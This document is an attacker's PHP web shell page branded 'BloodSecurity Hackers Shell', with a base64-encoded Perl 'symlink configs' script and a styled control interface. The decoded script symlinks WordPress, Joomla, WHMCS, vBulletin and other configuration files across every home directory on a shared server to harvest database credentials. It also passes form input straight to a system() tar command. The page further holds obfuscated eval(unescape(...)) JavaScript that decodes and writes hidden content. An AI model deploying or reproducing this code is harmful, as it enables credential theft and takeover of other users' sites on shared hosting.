bmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZXMvZnVuY3Rpb25zLnBocCcsJGtvbGEuJ35+cGhwYmIzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU0LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2RiLnBocCcsJGtvbGEuJ35+aW5maW5pdHkudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTUvJy4kdXNlci4nL3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLid+fnZCdWxsZXRpbjEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLid+fnZCdWxsZXRpbjIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTUvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLid+fnZCdWxsZXRpbjMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NjL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLid+fnZCdWxsZXRpbjQudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZy5waHAnLCRrb2xhLid+flBocGJiMS50eHQnKTsNCnN5bWxpbmsoJy9ob21lNS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJ35+UGhwYmIyLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJywka29sYS4nfn5Xb3JkcHJlc3MxLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAnLCRrb2xhLid+fldvcmRwcmVzczIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5Kb29tbGExLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9nL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5Kb29tbGEyLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fkpvb21sYTMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+V2htMS50eHQnKTsNCnN5bWxpbmsoJy9ob21lNS8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htYy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+V2htMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lNS8nLiR1c2VyLicvcHVibGljX2h0bWwvc3VwcG9ydC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+V2htMy50eHQnKTsNCnN5bWxpbmsoJy9ob21lNS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5XaG00LnR4dCcpOw0Kc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iaWxsaW5ncy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+V2htNS50eHQnKTsNCnN5bWxpbmsoJy9ob21lNS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+V2htNi50eHQnKTsNCnN5bWxpbmsoJy9ob21lNS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+V2htNy50eHQnKTsNCnN5bWxpbmsoJy9ob21lNS8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fldobTgudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTUvJy4kdXNlci4nL3B1YmxpY19odG1sL29yZGVyL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5XaG05LnR4dCcpOw0Kc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25mLnBocCcsJGtvbGEuJ35+NS50eHQnKTsNCnN5bWxpbmsoJy9ob21lNS8nLiR1c2VyLicvcHVibGljX2h0bWwvYWRtaW4vY29uZmlnLnBocCcsJGtvbGEuJ35+NC50eHQnKTsNCnN5bWxpbmsoJy9ob21lNS8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZl9nbG9iYWwucGhwJywka29sYS4nfn5pbnZpc2lvLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2RiLnBocCcsJGtvbGEuJ35+Ny50eHQnKTsNCnN5bWxpbmsoJy9ob21lNS8nLiR1c2VyLicvcHVibGljX2h0bWwvY29ubmVjdC5waHAnLCRrb2xhLid+fjgudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTUvJy4kdXNlci4nL3B1YmxpY19odG1sL21rX2NvbmYucGhwJywka29sYS4nfn5tay1wb3J0YWxlMS50eHQnKTsNCnN5bWxpbmsoJy9ob21lNS8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZS9jb25maWcucGhwJywka29sYS4nfn4xMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lNS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2V0dGluZ3MucGhwJywka29sYS4nfn5TbWYudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2Z1bmN0aW9ucy5waHAnLCRrb2xhLid+fnBocGJiMy50eHQnKTsNCnN5bWxpbmsoJy9ob21lNS8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZS9kYi5waHAnLCRrb2xhLid+fmluZmluaXR5LnR4dCcpOw0Kc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC92Yi9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nfn52QnVsbGV0aW4xLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nfn52QnVsbGV0aW4yLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nfn52QnVsbGV0aW4zLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jYy9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nfn52QnVsbGV0aW40LnR4dCcpOw0Kc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcucGhwJywka29sYS4nfn5QaHBiYjEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLid+flBocGJiMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvd3AtY29uZmlnLnBocCcsJGtvbGEuJ35+V29yZHByZXNzMS50eHQnKTsNCnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwJywka29sYS4nfn5Xb3JkcHJlc3MyLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+Sm9vbWxhMS50eHQnKTsNCnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvYmxvZy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+Sm9vbWxhMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvam9vbWxhL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5Kb29tbGEzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG0vY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fldobTEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fldobTIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1cHBvcnQvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fldobTMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+V2htNC50eHQnKTsNCnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZ3MvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fldobTUudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmcvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fldobTYudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudHMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fldobTcudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5XaG04LnR4dCcpOw0Kc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9vcmRlci9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+V2htOS50eHQnKTsNCnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvYWRtaW4vY29uZi5waHAnLCRrb2xhLid+fjUudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL2FkbWluL2NvbmZpZy5waHAnLCRrb2xhLid+fjQudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZfZ2xvYmFsLnBocCcsJGtvbGEuJ35+aW52aXNpby50eHQnKTsNCnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZS9kYi5waHAnLCRrb2xhLid+fjcudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL2Nvbm5lY3QucGhwJywka29sYS4nfn44LnR4dCcpOw0Kc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ta19jb25mLnBocCcsJGtvbGEuJ35+bWstcG9ydGFsZTEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGUvY29uZmlnLnBocCcsJGtvbGEuJ35+MTIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL3NldHRpbmdzLnBocCcsJGtvbGEuJ35+U21mLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9mdW5jdGlvbnMucGhwJywka29sYS4nfn5waHBiYjMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGUvZGIucGhwJywka29sYS4nfn5pbmZpbml0eS50eHQnKTsNCnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvdmIvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJ35+dkJ1bGxldGluMS50eHQnKTsNCnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJ35+dkJ1bGxldGluMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJ35+dkJ1bGxldGluMy50eHQnKTsNCnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvY2MvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJ35+dkJ1bGxldGluNC50eHQnKTsNCnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZmlnLnBocCcsJGtvbGEuJ35+UGhwYmIxLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nfn5QaHBiYjIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHAnLCRrb2xhLid+fldvcmRwcmVzczEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2Jsb2cvd3AtY29uZmlnLnBocCcsJGtvbGEuJ35+V29yZHByZXNzMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fkpvb21sYTEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2Jsb2cvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fkpvb21sYTIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2pvb21sYS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+Sm9vbWxhMy50eHQnKTsNCnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5XaG0xLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5XaG0yLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5XaG0zLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbGllbnQvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fldobTQudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmdzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5XaG01LnR4dCcpOw0Kc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iaWxsaW5nL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5XaG02LnR4dCcpOw0Kc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbGllbnRzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5XaG03LnR4dCcpOw0Kc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jcy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+V2htOC50eHQnKTsNCnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvb3JkZXIvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fldobTkudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2FkbWluL2NvbmYucGhwJywka29sYS4nfn41LnR4dCcpOw0Kc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25maWcucGhwJywka29sYS4nfn40LnR4dCcpOw0Kc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25mX2dsb2JhbC5waHAnLCRrb2xhLid+fmludmlzaW8udHh0Jyk7DQpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGUvZGIucGhwJywka29sYS4nfn43LnR4dCcpOw0Kc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25uZWN0LnBocCcsJGtvbGEuJ35+OC50eHQnKTsNCnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvbWtfY29uZi5waHAnLCRrb2xhLid+fm1rLXBvcnRhbGUxLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2NvbmZpZy5waHAnLCRrb2xhLid+fjEyLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zZXR0aW5ncy5waHAnLCRrb2xhLid+flNtZi50eHQnKTsNCnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZXMvZnVuY3Rpb25zLnBocCcsJGtvbGEuJ35+cGhwYmIzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2RiLnBocCcsJGtvbGEuJ35+aW5maW5pdHkudHh0Jyk7DQp9DQppZiAoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAnUE9TVCcpIHsNCiAgcmVhZChTVERJTiwgJGJ1ZmZlciwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7DQp9IGVsc2Ugew0KICAkYnVmZmVyID0gJEVOVnsnUVVFUllfU1RSSU5HJ307DQp9DQpAcGFpcnMgPSBzcGxpdCgvJi8sICRidWZmZXIpOw0KZm9yZWFjaCAkcGFpciAoQHBhaXJzKSB7DQogICgkbmFtZSwgJHZhbHVlKSA9IHNwbGl0KC89LywgJHBhaXIpOw0KICAkbmFtZSA9fiB0ci8rLyAvOw0KICAkbmFtZSA9fiBzLyUoW2EtZkEtRjAtOV1bYS1mQS1GMC05XSkvcGFjaygiQyIsIGhleCgkMSkpL2VnOw0KICAkdmFsdWUgPX4gdHIvKy8gLzsNCiAgJHZhbHVlID1+IHMvJShbYS1mQS1GMC05XVthLWZBLUYwLTldKS9wYWNrKCJDIiwgaGV4KCQxKSkvZWc7DQogICRGT1JNeyRuYW1lfSA9ICR2YWx1ZTsNCn0NCmlmICgkRk9STXtwYXNzfSBlcSAiIil7DQpwcmludCAnDQo8Ym9keSBjbGFzcz0ibmV3U3R5bGUxIiBiZ2NvbG9yPSIjMDAwMDAwIj4NCjxwPlBhaW4gU2NyaXB0IFRvIFN5bWxpbmsgQ29uZmlnczwvcD48L2E+IA0KPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCjx0ZXh0YXJlYSBuYW1lPSJwYXNzIiBzdHlsZT0iYm9yZGVyOjFweCBkb3R0ZWQgIzAwRkZGRjsgd2lkdGg6IDU0M3B4OyBoZWlnaHQ6IDQyMHB4OyBiYWNrZ3JvdW5kLWNvbG9yOiMwQzBDMEM7IGZvbnQtZmFtaWx5OlRhaG9tYTsgZm9udC1zaXplOjhwdDsgY29sb3I6IzAwRkZGRiIgID48L3RleHRhcmVhPjxiciAvPg0KJm5ic3A7PHA+DQo8aW5wdXQgbmFtZT0idGFyIiB0eXBlPSJ0ZXh0IiBzdHlsZT0iYm9yZGVyOjFweCBkb3R0ZWQgIzAwRkZGRjsgd2lkdGg6IDIxMnB4OyBiYWNrZ3JvdW5kLWNvbG9yOiMwQzBDMEM7IGZvbnQtZmFtaWx5OlRhaG9tYTsgZm9udC1zaXplOjhwdDsgY29sb3I6IzAwRkZGRjsgIiAgLz48YnIgLz4NCiZuYnNwOzwvcD4NCjxwPg0KPGlucHV0IG5hbWU9IlN1Ym1pdDEiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdldCBDb25maWciIHN0eWxlPSJib3JkZXI6MXB4IGRvdHRlZCAjMDBGRkZGOyB3aWR0aDogOTk7IGZvbnQtZmFtaWx5OlRhaG9tYTsgZm9udC1zaXplOjEwcHQ7IGNvbG9yOiMwMEZGRkY7IHRleHQtdHJhbnNmb3JtOnVwcGVyY2FzZTsgaGVpZ2h0OjIzOyBiYWNrZ3JvdW5kLWNvbG9yOiMwQzBDMEMiIC8+PC9wPg0KPC9mb3JtPic7DQp9ZWxzZXsNCkBsaW5lcyA9PCRGT1JNe3Bhc3N9PjsNCiR5ID0gQGxpbmVzOw0Kb3BlbiAoTVlGSUxFLCAiPnRhci50bXAiKTsNCnByaW50IE1ZRklMRSAidGFyIC1jemYgIi4kRk9STXt0YXJ9LiIudGFyICI7DQpmb3IgKCRrYT0wOyRrYTwkeTska2ErKyl7DQp3aGlsZShAbGluZXNbJGthXSAgPX4gbS8oLio/KTp4Oi9nKXsNCiZsaWwoJDEpOw0KcHJpbnQgTVlGSUxFICQxLiIudHh0ICI7DQpmb3IoJGtkPTE7JGtkPDE4OyRrZCsrKXsNCnByaW50IE1ZRklMRSAkMS4ka2QuIi50eHQgIjsNCn0NCn0NCiB9DQpwcmludCc8Ym9keSBjbGFzcz0ibmV3U3R5bGUxIiBiZ2NvbG9yPSIjMDAwMDAwIj4NCjxwPkRvbmUgISE8L3A+DQo8cD4mbmJzcDs8L3A+JzsNCmlmKCRGT1JNe3Rhcn0gbmUgIiIpew0Kb3BlbihJTkZPLCAidGFyLnRtcCIpOw0KQGxpbmVzID08SU5GTz4gOw0KY2xvc2UoSU5GTyk7DQpzeXN0ZW0oQGxpbmVzKTsNCnByaW50JzxwPjxhIGhyZWY9IicuJEZPUk17dGFyfS4nLnRhciI+PGZvbnQgY29sb3I9IiMwMEZGMDAiPg0KPHNwYW4gc3R5bGU9InRleHQtZGVjb3JhdGlvbjogbm9uZSI+Q2xpY2sgSGVyZSBUbyBEb3dubG9hZCBUYXIgRmlsZTwvc3Bhbj48L2ZvbnQ+PC9hPjwvcD4nOw0KfQ0KfQ0KIHByaW50Ig0KPC9ib2R5Pg0KPC9odG1sPiI7';
?>
<html><head>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title><?php echo str_replace('.','','BloodSecurity Hackers Shell');?></title>
<link href='http://fonts.googleapis.com/css?family=Abel' rel='stylesheet' type='text/css'>
<link rel="stylesheet" href="http://www.nycfragrance.com/csvcategoryimportver1.0.3/system/css/layout/css/reset.css" type="text/css"/>
<link rel="stylesheet" href="http://www.nycfragrance.com/csvcategoryimportver1.0.3/system/css/netdna.bootstrapcdn.com/bootstrap/3.1.1/css/bootstrap.min.css">
<link href='http://fonts.googleapis.com/css?family=Orbitron:400,900' rel='stylesheet' type='text/css'>
<link rel="stylesheet" href="http://www.nycfragrance.com/csvcategoryimportver1.0.3/system/css/layout/css/custom.css" type="text/css"/>
<script src="countdown.js" type="text/javascript"></script>
<script type="text/javascript" src="http://www.nycfragrance.com/csvcategoryimportver1.0.3/system/css/code.jquery.com/jquery-latest.js"></script>
<script type="text/javascript">
url="index.html";
main_url="index.html";
</script>
<style type='text/css'>body, a, a:link{cursor:url(http://cur.cursors-4u.net/cursors/cur-2/cur117.cur), default;} a:hover {cursor:url(http://cur.cursors-4u.net/cursors/cur-2/cur116.cur),wait;}</style>
</style>
<style type="text/css">
body,td{font: 10pt Tahoma;color:gray;line-height: 16px;}
a {color:red;text-decoration:none;}
a:hover{color: #f00;text-decoration:none;}
.alt1 td{border-top:1px solid gray;border-bottom:1px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
.alt2 td{border-top:1px solid gray;border-bottom:1px solid gray;background:#f9f9f9;padding:5px 10px 5px 5px;}
.focus td{border-top:1px solid gray;border-bottom:0px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
.fout1 td{border-top:1px solid gray;border-bottom:0px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
.fout td{border-top:1px solid gray;border-bottom:0px solid gray;background:#202020;padding:5px 10px 5px 5px;}
.head td{border-top:1px solid gray;border-bottom:1px solid gray;background:#202020;padding:5px 10px 5px 5px;font-weight:bold;}
.head_small td{border-top:1px solid gray;border-bottom:1px solid gray;background:#202020;padding:5px 10px 5px 5px;font-weight:normal;font-size:8pt;}
.head td span{font-weight:normal;}
form{margin:0;padding:0;}
h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
input, textarea, button
{
font-size: 9pt;
color: #ccc;
font-family: verdana, sans-serif;
background-color: #202020;
border-left: 1px solid red;
border-top: 1px solid red;
border-right: 1px solid red;
border-bottom: 1px solid red;
text-decoration:none;
}
select
{
font-size: 8pt;
font-weight: normal;
color: #ccc;
font-family: verdana, sans-serif;
background-color: #202020;
}
</style>
<script type="text/javascript">
function CheckAll(form) {
for(var i=0;i<form.elements.length;i++) {
var e = form.elements[i];
if (e.name != 'chkall')
e.checked = form.chkall.checked;
}
}
function $(id) {
return document.getElementById(id);
}
function goaction(act){
$('goaction').action.value=act;
$('goaction').submit();
}
</script>
</head>
<body onLoad="init()" style="margin:0;table-layout:fixed; word-break:break-all" bgcolor=black background=http://i382.photobucket.com/albums/oo263/vnhacker/bg-1.jpg>
<div border="0" style="position:fixed; width: 100%; height: 25px; z-index: 1; top: 300px; left: 0;" id="loading" align="center" valign="center">
<table border="1" width="110px" cellspacing="0" cellpadding="0" style="border-collapse: collapse" bordercolor="#990066">
<tr>
<td align="center" valign=center>
<div border="1" style="background-color: #0E0E0E; filter: alpha(opacity=70); opacity: .7; width: 110px; height: 25px; z-index: 1; border-collapse: collapse;" bordercolor="#006600" align="center">
Loading<img src="http://i382.photobucket.com/albums/oo263/vnhacker/loading.gif">
</div>
</td>
</tr>
</table>
</div>
<script>
var ld=(document.all);
var ns4=document.layers;
var ns6=document.getElementById&&!document.all;
var ie4=document.all;
if (ns4)
ld=document.loading;
else if (ns6)
ld=document.getElementById("loading").style;
else if (ie4)
ld=document.all.loading.style;
function init()
{
if(ns4){ld.visibility="hidden";}
else if (ns6||ie4) ld.display="none";
}
</script>
<script type="text/javascript">
<!--
eval(unescape('%66%75%6e%63%74%69%6f%6e%20%6d%66%35%65%38%64%63%36%39%30%28%73%29%20%7b%0a%09%76%61%72%20%72%20%3d%20%22%22%3b%0a%09%76%61%72%20%74%6d%70%20%3d%20%73%2e%73%70%6c%69%74%28%22%31%31%37%30%36%38%31%34%22%29%3b%0a%09%73%20%3d%20%75%6e%65%73%63%61%70%65%28%74%6d%70%5b%30%5d%29%3b%0a%09%6b%20%3d%20%75%6e%65%73%63%61%70%65%28%74%6d%70%5b%31%5d%20%2b%20%22%37%31%31%34%31%35%22%29%3b%0a%09%66%6f%72%28%20%76%61%72%20%69%20%3d%20%30%3b%20%69%20%3c%20%73%2e%6c%65%6e%67%74%68%3b%20%69%2b%2b%29%20%7b%0a%09%09%72%20%2b%3d%20%53%74%72%69%6e%67%2e%66%72%6f%6d%43%68%61%72%43%6f%64%65%28%28%70%61%72%73%65%49%6e%74%28%6b%2e%63%68%61%72%41%74%28%69%25%6b%2e%6c%65%6e%67%74%68%29%29%5e%73%2e%63%68%61%72%43%6f%64%65%41%74%28%69%29%29%2b%34%29%3b%0a%09%7d%0a%09%72%65%74%75%72%6e%20%72%3b%0a%7d%0a'));
eval(unescape('%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%6d%66%35%65%38%64%63%36%39%30%28%27') + '%3e%77%65%77%60%62%33%73%49%60%67%64%6e%6c%1b%4f%63%69%6b%61%1b%73%2b%29%2b%34%3e%2c%70%62%78%6b%68%3d11706814%36%37%30%37%38%33%39' + unescape('%27%29%29%3b'));
// -->
</script>
<noscript><i>Javascript requi#428bca</i></noscript>
</html>
<script type="text/javascript">
function tukar(lama,baru){
document.getElementById(lama).style.display = 'none';
document.getElementById(baru).style.display = 'block';
}
</script>
<style type="text/css">
body{
margin: 0px;
font-family:Orbitron, sans-serif;
}
.iNew-SubHome{
background-color: #292929;
width:25%;
margin-top:20px;
}.mysql{
background-color: #393939;
}
border-bottom:1px solid #428bca;
}
*{
font-size:13px;
font-family:Orbitron, sans-serif;
color:#00B800;
}
#menu{
margin:8px 2px 4px 2px;
}
